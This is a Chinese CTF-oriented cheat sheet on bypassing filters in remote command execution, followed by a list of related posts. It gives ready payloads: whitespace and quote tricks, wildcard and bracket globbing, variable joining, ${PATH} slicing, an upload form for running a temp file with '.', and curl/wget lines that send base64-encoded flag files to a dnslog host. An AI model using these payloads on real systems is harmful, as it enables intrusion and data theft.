目录

前言:

一、常见可代替命令:

二、空格绕过

三、简单符号绕过正则

1、单双引号法

2、跨行符'\'绕过

四、通配符绕过正则

1、可以通配得到的命令

base64:

bzip2:

2、字符串通配

五、变量拼接绕过正则

六、内联执行

七 、“${}”截取环境变量拼接

八、[]中括号匹配绕过

九、source命令:

十、无回显rce:

无回显的执行函数:

1、复制到可访问文件

tee命令:

2、dnslog外带数据法

3、反弹shell:


前言:

此文中的RCE绕过方法,都是博主在CTF题目以及渗透实战中所遇到的,可能有疏漏或不对的地方,还望各位大佬多多指出,感谢!

一、常见可代替命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录

二、空格绕过

> < <> 重定向符
%20(space)
%09(tab)
$IFS$9
${IFS}(最好用这个)
$IFS
{cat,flag.txt} 在大括号中逗号可起分隔作用

三、简单符号绕过正则

1、单双引号法

ca''t flag.txt
ca""t flag.txt

因为单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变

2、跨行符'\'绕过

跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令

四、通配符绕过正则

通配符可以替代任何字符

shell通配符有:

  • * :表示通配字符0次及以上
  • ? : 表示通配字符0或

1、可以通配得到的命令

base64:

/bin/base64 可以通配为:/???/????64作用为将文件以base64编码形式输出

bzip2:

/usr/bin/bzip2 可以通配为:/???/???/????2作用为将文件压缩成后缀为bz2的压缩文件
flag.php ==>  flag.php.bz2

2、字符串通配

flag.php ==> flag.???flag*……

当然可以用通配符去通配一些命令,但不能全名称通配

例如:
/bin/ca?
相当于cat命令

五、变量拼接绕过正则

可以在shell语句里定义变量,将被过滤的字符串分成部分绕过

以flag.php为例:x=lag;cat f$x.php相当于:cat flag.php

六、内联执行

内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果

可用于内联语句的符号you ${},``(反引号)

例如:

echo `ls`echo ${ls}相当于把ls的结果使用echo输出

七 、“${}”截取环境变量拼接

关于 ${} 用法可查看我的这篇博客Linux 变量操作符“${}“_linux 变量${}_Elitewa的博客-CSDN博客

例子

${PATH:14:1}${PATH:5:1} flag.txt在此环境中相当于 nl flag.txt

八、[]中括号匹配绕过

例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身

匹配范围为当前目录

例子

/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt相当于
/bin/cat flag.txt因为[]匹配范围只在当前路径
所以要为bin绝对路径

九、source命令:

source命令,又称点命令,可以用点号( . ),代替

该命令可以读取并执行文件中的命令

可构建文件上传表单,上传命令文件执行

表单为:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

get请求为

?c=.+/???/????????[@-[]一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

注意:通过.去执行sh命令不需要有执行权限

可以参考p神的这篇文章无字母数字webshell之提高篇 | 离别歌

十、无回显rce:

无回显的执行函数:

exec()

shell_exec()

`` (反引号)

这些需要php函数echo才可以输出结果

1、复制到可访问文件

tee命令:

tee 命令可用于创建或追加写入文件

可配合cat等打开文件命令和管道符将flag写入到规定文件中

例如

先将根目录复制到某个文件,然后访问查看
ls /| tee ls.txt然后输入 url/1.txt  即可查看根目录
再复制flag文件,然后访问查看
cat /flag.php | tee flag.txt然后输入 url/falg.txt  即可查看根目录
还可以使用其他的复制方法
copy /flag.php flag.txtmv /flag.php flag.txt

2、dnslog外带数据法

需要dnslog平台,可自己搭建

curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`

3、反弹shell:

以后写提权的时候写

RCE(远程命令执行)绕过总结相关推荐

  1. RCE远程命令执行学习

    RCE(remote command/code execute ,远程命令执行) 命令执行一般发生在远程,故被称为远程命令执行. RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码, ...

  2. O2OA RCE 远程命令执行漏洞复现(CVE-2022-22916)

    1.产品简介 O2OA是一款Java开源企业信息化建设平台 ,包括流程管理.门户管理.信息管理.数据管理和服务管理五大平台,可以极大程度上减化企业信息化建设成本和业务应用开发难度. 2.漏洞概述 O2 ...

  3. NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析

    本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1.   概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的N ...

  4. 2022-10-11(一、远程命令执行和系统命令执行)

    文章目录 命令执行 原理 危害 RCE 管道符号 远程执行常用`函数` 执行系统命令: 代码执行与加密: 文件包含与生成: PHP代码执行函数 敏感文件 例子 加固 参考 命令执行 命令执行漏洞是指攻 ...

  5. RCE 远程命令代码执行漏洞

    什么是REC Remote Command/Code Execute,远程命令或者代码执行.通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入. We ...

  6. war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...

    概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...

  7. Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)

    今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...

  8. pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)

    目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...

  9. rmi远程反序列化rce漏洞_Oracle WebLogic 反序列化远程命令执行漏洞预警

    报告编号:B6-2019-041901 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-04-19 0x00 事件背景 2019年4月17日,国家信息安全漏洞共享平台(CN ...

最新文章

  1. Task03:青少年软件编程(Scratch)等级考试模拟卷(一级)
  2. 外媒:英国索尔兹伯里事件中受伤警察已重返工作
  3. C++实现统计从1到n中1出现的次数(另外一种方法)
  4. java多线程详细讲解_Java多线程例子讲解
  5. linux ubuntu bionic,尝试在Linux Ubuntu 18.04 Bionic上安装Docker CE时出现错误?
  6. Java认证值得吗?
  7. 神经网络与深度学习——TensorFlow2.0实战(笔记)(四)(Python面向对象的编程)
  8. ElasticSearch之Tokenizer 分词器
  9. Shell编程:简洁的 Bash Programming 技巧续篇
  10. 数据安全,配置先行;如何检查,SQL 评估 API
  11. go的转义字符,字符串本身带有特殊符号
  12. 昆仑通态如何连接sqlserver数据库_三菱FX5U 与昆仑通态触摸屏的连接操作步骤
  13. Hive压缩存储(以Parquet为例)
  14. 《计算机操作系统》(慕课版) 第1章 操作系统引论
  15. 单场淘汰制场次计算方法_淘汰赛、单循环赛和双循环赛的计算方法分别是什么?...
  16. app漏洞扫描原理_APP漏洞如何检测,如何检测出app有漏洞?
  17. HDU 1395 2^x mod n = 1 暴力取模
  18. 阿里P9大佬手写的Java核心开发手册(2022版)覆盖P5到P8所有技术栈
  19. 魔方二维动态还原过程MATLAB仿真/魔方二维平面展开
  20. linux篇之安装MySQL及远程连接

热门文章

  1. C# Graphics 绘图(及Color、Pen、Brush)
  2. node全局安装插件,找不到无法识别,set prefix和cache,修改系统环境后,安装插件报错 4048
  3. 无限制端口服务器,怎样限制服务器的端口
  4. 这15个Vue自定义指令,让你的项目开发爽到爆
  5. vue路由重定向到登录页面_Vue 组件单元测试究竟测试什么?
  6. [GIS原理] 资源共享-SIG|服务篇(服务型GIS、SOA架构、Web Services技术、GIS服务、地理空间服务聚合、地理空间服务网络)
  7. C语言选择结构--RAPTOR算法及if语句
  8. JAVA入门基础进阶(十四)—— 实现多线程、线程同步、生产者消费者
  9. aardio基础实例——一个简单的计算器
  10. 单位rpx、px、rem、em的区别